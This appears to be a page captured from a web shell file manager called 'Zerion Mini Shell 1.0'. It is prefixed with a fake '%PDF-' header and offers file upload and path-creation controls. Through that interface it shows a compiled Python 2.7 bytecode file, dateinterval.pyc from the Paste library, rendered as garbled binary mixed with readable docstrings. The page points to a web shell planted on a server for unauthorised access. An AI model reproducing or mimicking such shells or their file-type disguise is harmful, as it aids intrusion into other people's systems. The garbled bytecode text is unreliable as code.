%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/util/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyc

�
b�Nc@s	dZddlZddgZdZedZedZedZedZed	Zed
Z	ie	d6ed6ed
6ed6ed6ed6ed6Z
e
j�Zej
d��ed�Zejd�Zd�Zd�ZedkrddlZej�ndS(s
DateInterval.py

Convert interval strings (in the form of 1w2d, etc) to
seconds, and back again.  Is not exactly about months or
years (leap years in particular).

Accepts (y)ear, (b)month, (w)eek, (d)ay, (h)our, (m)inute, (s)econd.

Exports only timeEncode and timeDecode functions.  
i����Ntinterval_decodetinterval_encodeii<iiiimtytbtwtdthtmtscCst|d|d�S(Ni(tcmp(taR((sH/opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyt<lambda>"scCs�d}|}t|�}xLtD]D\}}||krt||�\}}|d||f7}qqW|dkr�d|}n|s�dS|r�d|}n|S(s�Encodes a number of seconds (representing a time interval)
    into a form like 1h2d3s.

    >>> interval_encode(10)
    '10s'
    >>> interval_encode(493939)
    '5d17h12m19s'
    ts%i%sit-t0t+(tabsttimeOrderedtdivmod(tsecondstinclude_signRtorigtchartamountti((sH/opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyR$s	

s[0-9]+[a-zA-Z]cCs�d}d}|j�}|jd�r:|d}d}n|jd�rV|d}nxjt|t�D]Y}|jd�dj�}tj|�s�qfn|t|jd�d �t|7}qfW|S(s�Decodes a number in the format 1h4d3m (1 hour, 3 days, 3 minutes)
    into a number of seconds

    >>> interval_decode('40s')
    40
    >>> interval_decode('10000s')
    10000
    >>> interval_decode('3d1w45s')
    864045
    iiR
i����R(	tstript
startswitht
allMatchest_timeREtgrouptlowert
timeValuesthas_keytint(RttimetsigntmatchR((sH/opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyR=s
	
)cCs`d}t|�}g}|j||�}x/|r[|j|�|j||j��}q-W|S(s1Return a list of matches for regex in source
    i(tlentsearchtappendtend(tsourcetregextposR(trvR$((sH/opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyRYs	
t__main__(t__doc__tret__all__tsecondtminutethourtdaytweektmonthtyearRtitemsRtsorttFalseRtcompileRRRt__name__tdoctestttestmod(((sH/opt/alt/python27/lib/python2.7/site-packages/paste/util/dateinterval.pyt<module>s4






		

Zerion Mini Shell 1.0